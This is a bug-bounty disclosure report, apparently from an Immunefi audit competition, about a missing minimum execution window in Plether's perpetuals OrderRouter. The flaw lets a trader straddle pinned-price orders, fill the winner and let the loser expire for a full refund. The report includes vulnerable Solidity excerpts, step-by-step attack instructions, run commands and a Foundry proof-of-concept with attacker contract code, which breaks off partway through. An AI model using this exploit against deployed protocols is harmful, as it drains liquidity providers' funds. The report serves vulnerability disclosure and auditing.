Missing minimum execution window in the OrderRouter commit check turns every pinned order into a free option and leads to direct theft of LP funds
The order router only rejected an execution window of zero or above the maximum, so a trader could set a window shorter than the keeper's latency. The trader could then fill a favourable order at the stale pinned price and let the losing order expire with its full margin refunded, draining LP funds.
- Disclosed after under an hour
#99136 [SC-Critical] Missing minimum execution window in the OrderRouter commit check turns every pinned order into a free option and leads to direct theft of LP funds
Submitted on Nov 12th 2026 at 01:51:17 UTC by @deltabear for Audit Competition | Plether
- Report ID: #99136
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
An order fills at the first Pyth update after its commit, but the trader picks the order's deadline, and the only floor is one second. Past the deadline the order is Expired and its whole margin goes back to the trader. The deployment's executor reaches an order 4 to 7 seconds after its commit, so an order with a 2 or 3 second window is filled by its owner or by nobody. The owner reads the move after the pinned update, fills the order at the old price when the move is in its favour, and lets it lapse for free when it is not. I commit a LONG and a SHORT at the largest size the protocol allows, fill the winner at the stale price and let the loser expire. Over six 30 bps releases the attacker withdraws 50,065.40 USDG more than it put in, and the victim LP's Junior is worth 59,632.68 USDG less than with no attacker.
Vulnerability Details
Router.commitOrderchecks the trader'sexecutionWindowSecondsonly against zero and the 60 s maximum (router/OrderLiquidationBatchLogic.sol:287-289, default maximum atrouter/OrderExecutionOrchestrator.sol:11,14). There is no minimum tied to keeper latency or to the 15 sorderSettlementWindow(PletherOracle.sol:87). The floor is a hardcoded== 0check, and the admin setter bounds only the maximum (OrderRouterAdmin.sol:338-343), so no setting raises it.- The lifecycle Book stores
executionDeadline = commitTimestamp + executionWindowSecondsonce (OrderLifecycleBook.sol:287-295, documented atSECURITY.md:783-786). - The fill price is the first update with
publishTime >= commitTime + 1, whoever executes (PletherOracle.sol:610-614). The price is fixed and public one second after the commit. Router.executeOrderhas no caller restriction (OrderRouter.sol:240-243), so the owner's own account executes its order. On the way to its target id,executeOrderfinalizes every head that is terminal before oracle work, expired heads included (OrderRouterExecutionSidecar.sol:147-192).- Once
block.timestamp > executionDeadlinethe order is classifiedExpirebefore any oracle work (OrderRouterExecutionSidecar.sol:910-912) and settled withTerminalReason.Expired(OrderRouterExecutionSidecar.sol:388-394). Anyone callsRouter.expireOrderafter the deadline (OrderRouter.sol:191-196,OrderRecoverySidecar.sol:49-64). Settlement releases the whole committed margin (OrderRouter.sol:303) and returns the bounty to the account when the account is the executor (OrderRouter.sol:336-337). A third-party cleaner gets the open bounty, at most 0.20 USDG. - The v2.0.0 deployment's executor reached the six consecutive orders 183 to 188 of 6 Nov 2026 after 4, 6, 7, 4, 5 and 6 seconds (all 269 v2.0.0 orders: median 5 s). A 2 s order and a 3 s order are both expired when it arrives.
- The attacker runs two plain accounts. In one block it commits a SHORT and a LONG, leg 1 with a 2 s window and leg 2 with a 3 s window, both pinned to the same update. When the move favours leg 1, the owner executes leg 1 at commit + 2. When it favours leg 2, the owner executes leg 2 at commit + 3, and that one call finalizes the expired leg 1 (step 4). Every round the winner fills and the loser expires, whichever side wins and whichever leg comes first.
- The guard that should stop this is the lifecycle rule at
SECURITY.md:658-659: "binding order semantics and the lack of a user cancellation path prevent traders from turning queued intents into free options". A deadline the trader sets below keeper latency is a user cancellation path. Nothing compares the window to the time a keeper needs to reach the order.
Vulnerable source code
1. The only window check at commit: zero, or above the maximum @ packages/perps/src/router/OrderLiquidationBatchLogic.sol:287-289
if (bounds.executionWindowSeconds == 0 || bounds.executionWindowSeconds > host.maxExecutionWindowSeconds()) {
revert OrderRouter__InvalidExecutionWindow();
}
2. The deadline is the commit time plus the trader's window @ packages/perps/src/OrderLifecycleBook.sol:287-295
uint256 deadline = block.timestamp + uint256(request.bounds.executionWindowSeconds);
if (block.timestamp > type(uint64).max || deadline > type(uint64).max) {
revert OrderLifecycleBook__TerminalClockOverflow();
}
OrderV3Types.OrderTiming memory timing = OrderV3Types.OrderTiming({
submitBy: request.bounds.submitBy,
executionWindowSeconds: request.bounds.executionWindowSeconds,
commitTimestamp: uint64(block.timestamp),
executionDeadline: uint64(deadline)
3. The fill is pinned to the first update after the commit @ packages/perps/src/PletherOracle.sol:610-614
uint64 minPublishTime = request.commitTime + 1;
uint256 settlementDeadline = uint256(request.commitTime) + orderSettlementWindow;
uint64 maxPublishTime = uint64(settlementDeadline < block.timestamp ? settlementDeadline : block.timestamp);
try pyth.parsePriceFeedUpdatesUnique{value: pythFee}(
pythUpdateData, pythFeedIds, minPublishTime, maxPublishTime
4. Past the deadline the order expires before any oracle work @ packages/perps/src/OrderRouterExecutionSidecar.sol:910-912
if (block.timestamp > pending.timing.executionDeadline) {
return (IOrderRouterExecutionHost.ItemAction.Expire, true);
}
5. The expired order is settled as Expired @ packages/perps/src/OrderRouterExecutionSidecar.sol:388-394
if (block.timestamp > pending.timing.executionDeadline) {
return _settleNonEngine(
request,
OrderV3Types.TerminalReason.Expired,
OrderV3Types.FailureDetails(bytes4(0), 0, 0, OrderV3Types.ConstraintKind.None, 0, 0, bytes32(0))
);
}
6. Anyone finalizes an order once its deadline passes @ packages/perps/src/OrderRecoverySidecar.sol:57-63
if (block.timestamp <= pending.timing.executionDeadline) {
revert OrderRouter__OrderNotExpired();
}
IOrderRouterExecutionHost.ItemRequest memory request = _cleanupRequest(
host, orderId, true, IOrderLifecycleBook(host.lifecycleBook()).currentExecutionConfigHash()
);
return host.executeOrderItemFromSidecar(request);
7. The whole committed margin is released @ packages/perps/src/OrderRouter.sol:302-303
(, CfdTypes.Order memory order) = _pendingOrder(orderId);
clearinghouse.releaseOrderReservationForTerminalCleanup(orderId);
8. The bounty goes back when the owner's account is the executor @ packages/perps/src/OrderRouter.sol:336-337
if (bountyRecipient == order.account) {
clearinghouse.releaseReservedExecutionBountyToSource(order.account, bountyAssets);
Impact Details
- Impact row: "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield" (Critical). Over six 30 bps releases the attacker's wallet goes from 800,000.000000 to 850,065.401618 USDG, +50,065.401618 USDG. The victim LP_J's Junior is worth 9,940,367.323914 USDG against 9,999,999.999943 USDG with no attacker, -59,632.676029 USDG, and
HousePool.totalAssetsends 59,632.681698 USDG lower. Each round the pool pays the winner's PnL out of LP capital (HousePool::payOutof 11,588.40 USDG in round 1). - One release the size of the 6 Nov 2026 payrolls move (-13.04 bp, the deployment's own pinned mark 96,318,319 to its next mark 96,192,674) pays the attacker +1,592.724089 USDG and costs the LP 3,191.043866 USDG.
- Every round wins, in both directions and in both leg orders: +8,386.52, +8,335.18, +8,369.72, +8,318.49, +8,310.54 and +8,344.95 USDG. No losing leg fills; each ends
status: 3, terminalReason: 2(Expired). - The same binding orders, filled by the executor at the pinned price, lose 139,550.07 USDG. The free cancel is the whole difference.
- Size is the protocol's own maximum from
CfdEngineLens.quoteMaxOpen, bound by the 40% skew cap: 3,976,100 to 3,996,000 USDG per leg on a 10,000,000 USDG pool. The take per release grows with pool depth. - Prerequisites, all permissionless: 800,000 USDG of trading capital in two contract accounts, and the public calls
commitOrder,executeOrderandwithdrawMargin. No LP position, no keeper or owner role, no special pool state. - The victim never sees a cancellation. The loser ends with the same
Expiredreceipt as any order that timed out. There is no pool-depth change, no LP settlement and no liquidation. - It repeats at every release and no setting closes it: the window is a field of every order request, and the floor is a hardcoded
== 0check. - Dedup. SC-M4 in the pre-audit report is a free-option attack, "Risk Free Option in 60Sec Oracle Window", marked "Fixed in Plether-Fi/plether-core#24." The program rule is: "For findings marked as fixed or Acknowledged in the reports above, a report on the same root cause is valid only if it shows that the fix at commit a82d4fefb02768e5b3bddcc97dee371eee24fea8 is incomplete or introduces a new bug." The run is at that commit. My confirmed report #97858 and my other reports in this family void the losing order with a state lever (
settleLpEpoch, liquidation cleanup,withdraw,addMargin), and the order fails asPlannerRejectedorAccountLiquidated. This report uses no lever: the trader's own deadline voids the order asExpired. The root is the one-second floor onexecutionWindowSecondstogether with the full refund on expiry. The fix is a minimum window above keeper latency plusorderSettlementWindow, or letting anyone fill an expired order at its pinned update, or making expiry forfeit a fee. None of the other fixes touches this path.
References
Window, deadline and pin
- packages/perps/src/router/OrderLiquidationBatchLogic.sol:287-289 - window checked only against 0 and the maximum
- packages/perps/src/router/OrderExecutionOrchestrator.sol:11,14 - default maximum 60 s
- packages/perps/src/OrderRouterAdmin.sol:338-343 - admin bound on the maximum only
- packages/perps/src/OrderLifecycleBook.sol:287-295 - deadline stored as commit time plus window
- packages/perps/src/PletherOracle.sol:87 -
orderSettlementWindow = 15 - packages/perps/src/PletherOracle.sol:610-614 - fill pinned to the first update after the commit
Execution and expiry
- packages/perps/src/OrderRouter.sol:240-243 -
executeOrder, any caller - packages/perps/src/OrderRouterExecutionSidecar.sol:147-192 - expired heads finalized before the target executes
- packages/perps/src/OrderRouterExecutionSidecar.sol:910-912 -
Expirebefore oracle work - packages/perps/src/OrderRouterExecutionSidecar.sol:388-394 - settled as
TerminalReason.Expired - packages/perps/src/OrderRouter.sol:191-196 -
expireOrder, any caller - packages/perps/src/OrderRecoverySidecar.sol:49-64 - expiry allowed once the deadline passes
- packages/perps/src/OrderRouter.sol:303 - committed margin released
- packages/perps/src/OrderRouter.sol:336-337 - bounty back to the account when it executes
Guarantee and prior finding
- packages/perps/SECURITY.md:658-659 - "the lack of a user cancellation path prevent traders from turning queued intents into free options"
- packages/perps/SECURITY.md:783-786 - deadline mechanics
- audits/plether-pre-audit-report.pdf, SC-M4 - "Fixed in Plether-Fi/plether-core#24."
Deployment data
- gist
keeper-latency-v2.0.0-summary.txt- commit-to-terminal latency of all 269 v2.0.0 orders, per day; orders 183 to 188: 4, 6, 7, 4, 5, 6 s
Link to Proof of Concept
https://gist.github.com/decies-centena-millia/206645fe13831cd4e3e2320e6c1768be
Proof of Concept
Proof of Concept
One Foundry test file on the repo's own BasePerpTest with the DEPLOYMENT.md release parameters, asserted in setUp. Only USDG and Pyth are the repo's mocks. Every fill is an explicit Pyth update at commit + 1, every size comes from CfdEngineLens.quoteMaxOpen, the executor arrives at the deployment's measured latency, and every number is read back from the contracts.
All files and every raw output (-vv, one -vvvv trace per test, versions, SHA-256 sums) are in the secret gist: https://gist.github.com/decies-centena-millia/206645fe13831cd4e3e2320e6c1768be
git clone --recurse-submodules https://github.com/immunefi-team/audit-comp-plether.git && cd audit-comp-plether && git checkout --detach a82d4fefb02768e5b3bddcc97dee371eee24fea8 && git submodule update --init --recursive
mkdir -p packages/perps/test/poc_shortwindow && cp ShortWindowStraddlePoC.t.sol packages/perps/test/poc_shortwindow/ && cd packages/perps && forge test --match-path test/poc_shortwindow/ShortWindowStraddlePoC.t.sol -vv
attack step-by-step
- Monday 2024-10-14 10:00 UTC: victim LP_J holds 10,000,000 USDG of Junior. The attacker funds two
OptionAccounts with 400,000 USDG each. - Each release, the attacker quotes the largest LONG and SHORT the lens allows (about 3,990,000 USDG each) and commits both in one block: leg 1 with a 2 s window, leg 2 with a 3 s window, 200,000 USDG of margin each. Both pin to the update at commit + 1.
- The release moves 30 bps after the pinned update.
- The owner executes the winning leg with the pinned update: at commit + 2 when it is leg 1, at commit + 3 when it is leg 2 (that call also finalizes the expired leg 1).
- The executor reaches the losing leg at its measured latency (4 to 7 s) and finalizes it as
Expired. Its margin goes back to the attacker. - The winner closes at the moved price. After six releases both accounts withdraw everything to the attacker's wallet.
main Attack code
// The attacker's account. Its only levers are the window on its own orders and executing them, or not.
contract OptionAccount {
function commit(OrderV3Types.OrderRequest calldata request) external onlyOwner returns (uint64 orderId) {
orderId = router.commitOrder(request);
}
function execute(uint64 id, bytes[] calldata pinned) external onlyOwner returns (OrderV3Types.ExecutionResult memory r) {
r = router.executeOrder(id, pinned);
}
function withdrawAll() external onlyOwner {
uint256 bal = clearinghouse.balanceAssets(address(this));
if (bal != 0) clearinghouse.withdrawMargin(bal);
uint256 w = usdg.balanceOf(address(this));
if (w != 0) usdg.transfer(owner, w);
}
}
// one release: both legs at the lens maximum, 2 s and 3 s windows, one block
uint256 sizeL = _maxSize(acctL, CfdTypes.Side.LONG);
uint256 sizeS = _maxSize(acctS, CfdTypes.Side.SHORT);
legs[0].id = _commit(legs[0].acct, legs[0].side, legs[0].side == CfdTypes.Side.LONG ? sizeL : sizeS, MARGIN, false, legs[0].window);
legs[1].id = _commit(legs[1].acct, legs[1].side, legs[1].side == CfdTypes.Side.LONG ? sizeL : sizeS, MARGIN, false, legs[1].window);
uint256 c = _now();
_advance(1); // commit + 1: the pinned update prints at PX
for (uint256 i; i < 2; ++i) {
_warpTo(c + legs[i].window);
bool favourable = (legs[i].side == CfdTypes.Side.LONG) == down;
if (favourable) {
require(_executed(_ownerExec(legs[i].acct, legs[i].id, PX)), "favourable leg fills at the stale pin");
}
}
_warpTo(c + latency); // the deployment's executor, at its measured latency for this round
for (uint256 i; i < 2; ++i) {
if (_isPending(legs[i].id)) _keeperExec(legs[i].id, PX);
}
plant : commit a LONG and a SHORT at the lens maximum with 2 s and 3 s windows, pinned to the next update
fire : executeOrder the winning leg with its pinned update; the loser expires and its margin comes back
full poc code, single file, single runnable command
Foundry forge 1.8.5 (commit 51a52c59), solc 0.8.35, via_ir = true, optimizer_runs = 200, from the repo's own packages/perps/foundry.toml. The test runs on the repo's test/perps/BasePerpTest.sol fixture, which the program provides, so only this one file is added.
ShortWindowStraddlePoC.t.sol
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
// PoC: a trader-chosen execution window shorter than keeper latency turns every pinned order into a zero-premium option.
//
// The fill price is pinned to the first Pyth update after commit (PletherOracle.sol:610-615, minPublishTime =
// commitTime + 1), execution is voluntary, and the deadline is chosen by the trader with a floor of ONE second
// (OrderLiquidationBatchLogic.sol:287-289 rejects only executionWindowSeconds == 0 || > maxExecutionWindowSeconds = 60;
// OrderLifecycleBook.sol:287-295 stores deadline = commitTimestamp + executionWindowSeconds). Past the deadline the order
// is terminal Expired before any oracle work (OrderRouterExecutionSidecar.sol:910-912, :388-394) and its whole committed
// margin is released (OrderRouter.sol:303); the open bounty returns to the owner's account when the owner's own account is
// the executor (OrderRouter.sol:336-337) or pays at most 0.20 USDG to a third-party cleaner.
// So with a window below keeper latency, no keeper can fill the order; the owner reads the move after the pinned update
// and either executes it at the stale pin (favourable) or lets it lapse for free (adverse). SECURITY.md:658-659: "binding
// order semantics and the lack of a user cancellation path prevent traders from turning queued intents into free options".
//
// Repo's own Foundry suite at a82d4fef on BasePerpTest with the DEPLOYMENT.md release parameters (asserted in setUp).
// Only USDG (MockSettlementToken) and Pyth (MockPyth) are the repo's mocks, as the program permits; every in-scope contract
// is the real one. Same Pyth model as the confirmed sibling PoCs: two feeds, 2 bps confidence, explicit FeedUpdate[] at
// commit + 1 so no executor can choose the price. Keeper latency: the real v2.0.0 executor's measured commit-to-terminal
// latency (all 269 v2.0.0 orders, deployment events; per round, the six consecutive real orders 183-188 of 6 Nov 2026).
// Order size: the largest open the protocol's own CfdEngineLens.quoteMaxOpen allows at that moment.
//
// Run (from packages/perps, file in test/poc_shortwindow/):
// forge test --match-path 'test/poc_shortwindow/ShortWindowStraddlePoC.t.sol' -vv (add -vvvv for the raw trace)
import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {ICfdEngineLens} from "@plether/perps/interfaces/ICfdEngineLens.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IOrderRouterAccounting} from "@plether/perps/interfaces/IOrderRouterAccounting.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {console2} from "forge-std/console2.sol";
// ======================================================================= base (release config + helpers)
abstract contract ShortWindowBase is BasePerpTest {
uint256 internal constant PX = 1e8; // 1.00 index, 8-decimal price units
uint64 internal constant CONF = 2e4; // 2 bps confidence on each feed (release adverse-confidence shift applies)
address internal constant ATTACKER = address(0xA11CE);
address internal constant KEEPER = address(0x4B33);
address internal constant THIRD = address(0xC1EA11); // an unrelated cleaner
address internal constant LP_J = address(0x1117);
uint256 internal constant WEEK_MON_10UTC = 1_728_900_000;
// Trader-chosen windows. The code floor is 1 s. Leg 1 of a straddle uses 2 s, leg 2 uses 3 s, so leg 1 is already
// expired (prunable) when leg 2 is decided under the global FIFO.
uint32 internal constant W1 = 2;
uint32 internal constant W2 = 3;
// DEPLOYMENT.md release parameters (identical to the confirmed #97858 / liquidation-cleanup PoCs).
function _riskParams() internal pure virtual override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialJuniorDeposit() internal pure virtual override returns (uint256) {
return 0;
}
function _initialSeniorDeposit() internal pure virtual override returns (uint256) {
return 0;
}
function _initialJuniorSeedDeposit() internal pure virtual override returns (uint256) {
return 1e6;
}
function _initialSeniorSeedDeposit() internal pure virtual override returns (uint256) {
return 1e6;
}
function setUp() public virtual override {
super.setUp();
uint256 start = vm.getBlockTimestamp();
IHousePool.PoolConfig memory poolConfig = _currentPoolConfig();
poolConfig.maxSeniorExposureAssets = 40_000_000e6;
poolConfig.maxSeniorShareBps = 8000;
pool.proposePoolConfig(poolConfig);
vm.warp(pool.poolConfigActivationTime());
pool.finalizePoolConfig();
IOrderRouterAdminHost.RouterConfig memory routerConfig = _routerConfig();
routerConfig.adverseConfidenceMultiplierBps = 2500;
routerConfig.minOpenNotionalAssets = 1000e6;
_setRouterConfig(routerConfig);
vm.warp(start);
vm.roll(vm.getBlockNumber() + 1);
_assertReleaseConfig();
}
// Assert the live config equals DEPLOYMENT.md (production-faithful), so the fixture cannot silently drift.
function _assertReleaseConfig() internal view {
(
uint256 vpiFactor,
uint256 maxSkewRatio,
uint256 maintMarginBps,
uint256 initMarginBps,
uint256 fadMarginBps,
uint256 baseCarryBps,
uint256 minBountyAssets,
uint256 bountyBps,
uint256 keeperShareBps,
uint256 protocolShareBps
) = engine.riskParams();
assertEq(vpiFactor, 0.01e18, "vpiFactor");
assertEq(maxSkewRatio, 0.4e18, "maxSkewRatio");
assertEq(maintMarginBps, 10, "maintMarginBps");
assertEq(initMarginBps, 20, "initMarginBps");
assertEq(fadMarginBps, 300, "fadMarginBps");
assertEq(baseCarryBps, 500, "baseCarryBps");
assertEq(minBountyAssets, 1e6, "minBountyAssets");
assertEq(bountyBps, 10, "bountyBps");
assertEq(keeperShareBps, 5000, "keeperShareBps");
assertEq(protocolShareBps, 0, "protocolShareBps");
assertEq(engine.executionFeeBps(), 4, "executionFeeBps");
assertEq(engine.settlementBufferBps(), 25, "settlementBufferBps");
assertEq(router.minOpenNotionalAssets(), 1000e6, "minOpenNotionalAssets");
assertEq(router.maxExecutionWindowSeconds(), 60, "maxExecutionWindowSeconds");
assertEq(pool.maxSeniorExposureAssets(), 40_000_000e6, "maxSeniorExposureAssets");
assertEq(pool.maxSeniorShareBps(), 8000, "maxSeniorShareBps");
assertFalse(engine.isFadWindow(), "live market, not FAD");
assertFalse(engine.isOracleFrozen(), "live market, not frozen");
}
function _now() internal view returns (uint256) {
return vm.getBlockTimestamp();
}
function _advance(uint256 s) internal {
vm.warp(vm.getBlockTimestamp() + s);
vm.roll(vm.getBlockNumber() + 1);
}
function _warpTo(uint256 ts) internal {
vm.warp(ts);
vm.roll(vm.getBlockNumber() + 1);
}
// Explicit FeedUpdate[] -> the fill price is fixed by data, never chosen by the executor.
function _tick(uint256 price, uint256 t) internal pure returns (bytes[] memory updateData) {
int64 p = int64(uint64(price));
MockPyth.FeedUpdate[] memory updates = new MockPyth.FeedUpdate[](2);
updates[0] = MockPyth.FeedUpdate({id: BASE_PYTH_FEED_A, price: MockPyth.MockPrice(p, CONF, int32(-8), t, t - 1)});
updates[1] = MockPyth.FeedUpdate({id: BASE_PYTH_FEED_B, price: MockPyth.MockPrice(p, CONF, int32(-8), t, t - 1)});
updateData = new bytes[](1);
updateData[0] = abi.encode(updates);
}
function _request(CfdTypes.Side side, uint256 size, uint256 margin, bool isClose, uint32 window, uint256 nonce)
internal
view
returns (OrderV3Types.OrderRequest memory request)
{
request.clientOrderId = keccak256(abi.encode("shortwindow-straddle", nonce));
request.side = side;
request.sizeDelta = size;
request.marginDelta = margin;
request.targetPrice = (side == CfdTypes.Side.LONG) == isClose ? type(uint256).max : 1;
request.isClose = isClose;
request.bounds = OrderV3Types.ExecutionBounds({
submitBy: uint64(_now()) + uint64(router.maxExecutionWindowSeconds()),
executionWindowSeconds: window, // <= the whole lever: a trader-chosen window below keeper latency
allowedExecutionModes: 7,
expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
maxExecutionBountyAssets: type(uint256).max,
maxExecutionNotionalAssets: type(uint256).max,
maxGrossAccountDebitAssets: type(uint256).max,
maxActionChargeAssets: type(uint256).max,
maxExplicitFeesAssets: type(uint256).max,
maxPostPositionSize: type(uint256).max,
minPostSettlementBalanceAssets: 0,
minPostPositionEquityAssets: 0,
maxPostLeverageBps: type(uint32).max
});
}
function _commitTime(uint64 id) internal view returns (uint256) {
(IOrderRouterAccounting.PendingOrderView memory v,) = router.getPendingOrderView(id);
return uint256(v.commitTime);
}
function _deadline(uint64 id) internal view returns (uint256) {
return uint256(router.lifecycleBook().pendingIntent(id).timing.executionDeadline);
}
function _pending(uint64 id) internal view returns (IOrderRouterAccounting.PendingOrderView memory v) {
(v,) = router.getPendingOrderView(id);
}
function _isPending(uint64 id) internal view returns (bool) {
return router.lifecycleBook().pendingIntent(id).account != address(0);
}
function _live(uint256 price) internal {
bytes[] memory d = _tick(price, _now());
vm.prank(KEEPER);
router.updateMarkPrice(d);
}
function _executed(OrderV3Types.ExecutionResult memory r) internal pure returns (bool) {
return r.terminalReason == OrderV3Types.TerminalReason.Executed;
}
function _sizeOf(address account) internal view returns (uint256 size) {
(size,,,,,,) = engine.positions(account);
}
function _reason(uint64 id) internal view returns (OrderV3Types.TerminalReason) {
return router.lifecycleBook().terminalOutcome(id).reason;
}
function _status(uint64 id) internal view returns (OrderV3Types.LifecycleStatus) {
return router.lifecycleBook().terminalOutcome(id).status;
}
function _usd(uint256 atoms) internal pure returns (string memory) {
bytes memory f = bytes(vm.toString(atoms % 1e6 + 1e6));
bytes memory frac = new bytes(6);
for (uint256 i; i < 6; ++i) frac[i] = f[i + 1];
return string.concat(vm.toString(atoms / 1e6), ".", string(frac));
}
function _usdSigned(int256 atoms) internal pure returns (string memory) {
return atoms < 0 ? string.concat("-", _usd(uint256(-atoms))) : string.concat("+", _usd(uint256(atoms)));
}
}
// ======================================================================= attacker account
interface IAcctRouter {
function commitOrder(OrderV3Types.OrderRequest calldata request) external returns (uint64 orderId);
function executeOrder(uint64 orderId, bytes[] calldata pythUpdateData)
external
payable
returns (OrderV3Types.ExecutionResult memory result);
function expireOrder(uint64 orderId) external returns (OrderV3Types.ExecutionResult memory result);
}
interface IAcctClearinghouse {
function depositMargin(uint256 amount) external;
function withdrawMargin(uint256 amount) external;
function balanceAssets(address account) external view returns (uint256);
}
/// @notice An ordinary contract trading account. Its ONLY levers: the trader-chosen short execution window on its own
/// orders, and executing them (favourable) or not (adverse). It never touches pool depth, never settles LP
/// epochs, never liquidates anything, never adds margin.
contract OptionAccount {
address internal immutable owner;
IAcctRouter internal immutable router;
IAcctClearinghouse internal immutable clearinghouse;
IERC20 internal immutable usdg;
constructor(address router_, address clearinghouse_, address usdg_) {
owner = msg.sender;
router = IAcctRouter(router_);
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the minimum execution window is only checked against zero, with no floor tied to keeper latency or the settlement window, so a trader can set a deadline that expires before any keeper can fill it.
Impact
The attacker could repeatedly take LP capital, with the report's simulation showing a gain of about 50,065 USDG and a matching loss to the victim LP, and no setting closes the gap.
What the attacker needed
800,000 USDG of trading capital; two permissionless accounts; no special role or pool state
The fix
A minimum execution window above keeper latency plus the settlement window should be enforced, or expired orders should be fillable at their pinned update, or expiry should forfeit a fee.
How it was found
- Commit a LONG and a SHORT at the maximum allowed size in one block, with 2 s and 3 s windows, both pinned to the same update.
- After the pinned update, check which direction the price moved.
- Execute the winning leg at its pinned stale price before its deadline.
- Let the losing leg pass its deadline so it is finalised as Expired and its margin is refunded.
- Withdraw the proceeds and repeat at each release.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a trade is placed, its price is locked to the first market update after it is submitted, and the trader chooses how long the order stays valid. If that window is shorter than the time the system's automated filler needs to reach the order, the trader can decide afterwards whether to complete the trade or simply let it lapse and get all their money back. Doing this with two opposite trades means the winning one always completes at the old price while the losing one is refunded, so the trader never really takes a risk.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.